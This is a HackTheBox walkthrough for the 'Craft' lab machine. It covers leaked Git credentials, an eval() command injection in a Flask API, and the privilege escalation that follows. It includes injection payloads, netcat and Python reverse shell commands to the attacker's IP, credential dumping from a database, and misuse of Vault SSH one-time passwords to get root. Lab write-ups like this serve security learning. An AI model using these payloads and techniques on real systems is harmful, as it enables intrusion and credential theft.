HackTheBox - Craft
Craft was very interesting and well designed box. It was a not so straight forward to solve and mainly based on configuration mistakes rather than exploits. That makes it more interesting in my opinion since we get closer to real life scenarios. I also learned a few tricks on this one.
Tl;Dr: The user flag was accessible after finding the main API credentials in the Git history of the project. With access to the code source and the API itself, we find a vulnerability allowing Remote Code Execution. This RCE leads to a shell inside of a Docker. From this shell we access the API config files containing database connection settings allowing us to extract users credentials stored there. The credentials let us access to gilfoyle
repositories where one contains his SSH key backup. Using this SSH key we connect to his account and grab the user flag.
The root flag was accessible after using Vault instance configured on the box to generate a One Time Password for the SSH root
account. We connect through SSH using this password and get the flag.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the host file:
1 | [hg8@archbook ~]$ echo "10.10.10.110 craft.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap
scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC craft.htb |
We have a classical web app running on port 443 and the ssh port 22 open.
Opening http://craft.htb
display the following website :
The website is super simple but give us two valuable information:
- A
gogs
instance is running (gogs
is a self-hosted Git service written in Go) athttps://gogs.craft.htb/
- An API is running and its documentation available at
https://api.craft.htb/api/
We need to add those two in our /etc/hosts/
file to be able to access it :
1 | [hg8@archbook ~]$ echo "10.10.10.110 gogs.craft.htb" >> /etc/hosts |
Following this, https://gogs.craft.htb
displays:
and https://api.craft.htb
displays:
We have the source code and the documentation of the API. That will surely be our entry point.
Out of curiosity I checked for exploit on Gogs
and found CVE-2018-18925 and CVE-2018-20303:
Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a “..” session-file forgery in the file session provider in file.go.
https://nvd.nist.gov/vuln/detail/CVE-2018-18925
In pkg/tool/path.go in Gogs before 0.11.82.1218, a directory traversal in the file-upload functionality can allow an attacker to create a file under data/sessions on the server.
https://nvd.nist.gov/vuln/detail/CVE-2018-20303
An exploit is also available (GogsOwnz) and allows to gain administrator rights and RCE on a Gogs/Gitea server.
Unfortunately the footer of https://gogs.craft.htb
shows that the version used is not a vulnerable one :
© 2018 Gogs Version: 0.11.86.0130
This confirms that our entry point will probably be the api. Let’s investigate.
We have access to the source code it will greatly help our investigation. The API is written in Python using the Flask framework.
Let’s clone it to check the code more easily :
1 | [hg8@archbook ~]$ GIT_SSL_NO_VERIFY=true git clone https://gogs.craft.htb/Craft/craft-api.git |
Remote code execution on API
The first thing I do when doing static code analysis is checking if dangerous functions are used and can be exploited for command injection. It’s the easiest way to land a shell on a box.
If this search don’t give any results I will move on to SQL injection and so on.
The most common way command injection vulnerability get introduced in Python is by the use of eval()
function which is used to run the Python code (passed as argument) within the program.
A quick grep
will tell us if such function is used within the API:
1 | [hg8@archbook ~]$ grep -ri "eval" craft-api |
We are lucky, and just by the look of the line it seems like no sanitization is done and the abv
request parameter is directly run through eval()
.
Reading through the code of brew.py
confirm the suspicion:
1 |
|
Any Python code sent in the request abv
parameter will get interpreted.
Unfortunately @auth.auth_required
inform us that we will first need a way to authenticate ourselves before being able to use this vulnerable endpoint.
After reading the documentation and the source code, it doesn’t seem there is any way to create a new account or use an already made token to authenticate to the API. We need to find another way to authenticate.
Since we have access to the git repository, we can try to exploit common flaw found in git/svn repositories. The most common issue is developers accidentally push API keys, token or password to the repository.
There is a few good tools like truffleHog or git-secrets that allows to automatically retrieve secrets and credentials accidentally committed.
Since there is only 6 commits in history we can manually review them to make sure we don’t forget anything.
At commit a2d28ed155
we find an interesting cleanup:
Let’s try to use those credentials to authenticate to the API:
1 | [hg8@archbook ~]$ curl "https://api.craft.htb/api/auth/login" -k --user dinesh:4aUh0A8PbVJxgd |
We are authenticated! Note here that this API doesn’t use the usual Authorization: Bearer <token>
header but a custom header in the format X-Craft-Api-Token: <token>
. It can be easy to overlook this one, that’s why taking time to read the code and understanding the inner workings of the app is important.
1 | # craft_api/api/auth/endpoints/auth.py |
We have now all the needed information to perform our command injection :)
Since we need to authenticate and perform multiple queries on the /brew
endpoint it’s better to write a script instead of having to do a thousand of curl request.
No need to start from scratch since craft-api/tests/test.py
already provide a solid base. I tweaked it a little to end up with this script:
1 | #!/usr/bin/env python |
Since eval()
will run any python code we will use this lambda function __import__("os").popen("CMD").read()
to run an OS command from the python code.
I added an input('> ')
so we simply have to type our command to run it on the API. Shell style.
Unfortunately we don’t have any output available, so how are we going to know that our command executed successfully ?
With time-based injection ;)
We are going to inject a sleep 3
command at each run:
- If the API hang for 3 seconds, it means our command got executed successfully
- If the API respond immediately, the injection failed.
Using the requests
library elapsed.total_seconds()
function, we can display the time elapsed for the request to success.
I add it to the script so we can easily see if the sleep 5
injection worked fine.
1 | [...] |
Let’s it give a try:
1 | [hg8@archbook ~]$ python test.py |
Looks like it works fine ! Let’s tweak our script a bit to be more comfortable to use:
1 | - brew_dict['abv'] = '__import__("os").popen("{}").read()'.format(cmd) |
The usage of && sleep 3
means that the sleep command will only get executed if the first command succeeded. This technique will allow us to blindly learn about the box environment.
Here is an example to illustrate:
1 | [hg8@archbook ~]$ python test.py |
Since wget --help
command took 3 seconds to execute this means that the command ran fine. While curl --help
failed, the sleep 3
didn’t start meaning curl
is not probably not installed.
This little trick will allow us to have a valuable feedback to know if our command succeed or fail.
Let’s try to open our classic reverse shell. Start with our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
And launch our test script on the API:
1 | [hg8@archbook ~]$ python test.py |
Oddly enough this is not working, whereas nc
seems to be installed. That’s strange but let’s move on to a different type of reverse shell. Since we know for sure that Python is installed let’s use a Python reverse shell.
To make things easier let’s launch a small http server to host our python reverse shell file:
1 | [hg8@archbook ~]$ cat hg8.py |
And back to our original terminal let’s launch our injection:
1 | [hg8@archbook ~]$ python test.py |
And surely enough a connection open on our netcat
listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Note: Now that we are on the box we can investigate on why our original netcat
command wasn’t working. Turn out the netcat
version shipped in this box in a Busybox version. The manual state:
1 | /opt/app # nc |
In this version -e
option must be last. So if we ran nc 10.10.10.85 8585 -e /bin/sh
instead of nc -e /bin/sh 10.10.10.85 8585
the command would have succeeded perfectly. I tried and it worked. Odd but good to keep in mind for the future.
Pivot from docker container to user
Now back to our topic. We got our shell on the API. Unfortunately as you noticed with the id
command, it seems like we are in a docker container. We probably won’t go far from here.
Our best bet might be to retrieve the API secrets to see if we can progress from here.
1 | /opt/app/craft_api # cat settings.py |
We got the database credentials. Let’s try to dump it for juicy informations:
1 | /opt/app # mysql |
Of course, in this jail no mysql
available either… Earlier I noticed a database test script. We will edit and use this python script since nothing else is available.
First, let’s list the tables :
1 | #!/usr/bin/env python |
Running this script will return two tables: brew
and users
.
Let’s list the users by editing the dbtest.py
script :
1 | - sql = "SELECT table_name FROM information_schema.tables;" |
1 | /opt/app # python dbtest.py |
Good, a few users with plain-text passwords. Unfortunately none works on SSH…
So what remains? Let’s go back to the Gogs instance. Login as gilfoyle
gives us access to a very interesting private repository:
Let’s clone it to explore:
1 | [hg8@archbook ~]$ GIT_SSL_NO_VERIFY=true git clone https://gilfoyle:[email protected]/gilfoyle/craft-infra.git |
First thing that catches the eye is the .ssh
folder containing both the public and private key. We should be able to use to login as gilfoyle
through SSH:
1 | [hg8@archbook ~]$ chmod 600 .ssh/id_rsa |
A passphrase is needed for the id_rsa
key, fortunately we have a case of password reuse and the password ZEU3N8WNM2rh4T
found in the database dump is valid.
1 | gilfoyle@craft:~$ cat user.txt |
Root Flag
Recon
On user gilfoyle
nothing particularly catch the eye and the box seems well configured.
Upon more enumeration we still notice an uncommon ssh configuration :
1 | gilfoyle@craft:~$ cat /etc/ssh/sshd_config |
It looks like our entry door for root flag will be through SSH.
Inspecting files in the home directory also shows a token that might be useful:
1 | gilfoyle@craft:~$ ls -a |
We notice this is about Vault again, we saw it already mentioned in the craft-infra
repository. Let’s dig that way.
I didn’t know anything about Vault at the time so I checked their website :
Vault is a tool for secrets management, encryption as a service, and privileged access management.
https://www.vaultproject.io/
That sounds really interesting for what we need…
Exploiting Vault for SSH root password
If we put all the puzzle pieces together it seems like this tool is storing either the root
account SSH password or a way to access the root
account.
The file craft-infra/src/master/vault/secrets.sh
on the craft-infra
repository looks promising :
1 |
|
It confirms that Vault is used for ssh access to root. key_type=otp
seems to mean that it’s working as a one-time password mechanism.
After a bit of Googling we find this documentation on Vault:
The One-Time SSH Password (OTP) SSH secrets engine type allows a Vault server to issue a One-Time Password every time a client wants to SSH into a remote host using a helper command on the remote host to perform verification.
https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html
Alright, we have all the needed information. Let’s generate a One-Time Password for the root account!
From here I will follow the documentation linked above. First we need to mount the secrets engine:
1 | gilfoyle@craft:~$ vault secrets enable ssh |
Then we create a role with the key_type
parameter set to otp
. I will use the same command than the one in craft-infra/src/master/vault/secrets.sh
to make sure we are not missing anything:
1 | gilfoyle@craft:~$ vault write ssh/roles/root_otp \ |
Last step we create an OTP credential for an IP of the remote host that belongs to otp_key_role
:
1 | gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=10.10.10.110 |
Seems like everything went fine. Let’s launch a new terminal and try to login as root
:
1 | [hg8@archbook ~]$ ssh [email protected] |
This box was really a fun time and my favorite so far. As always do not hesitate to contact me for any questions or feedback.
See you next time !
-hg8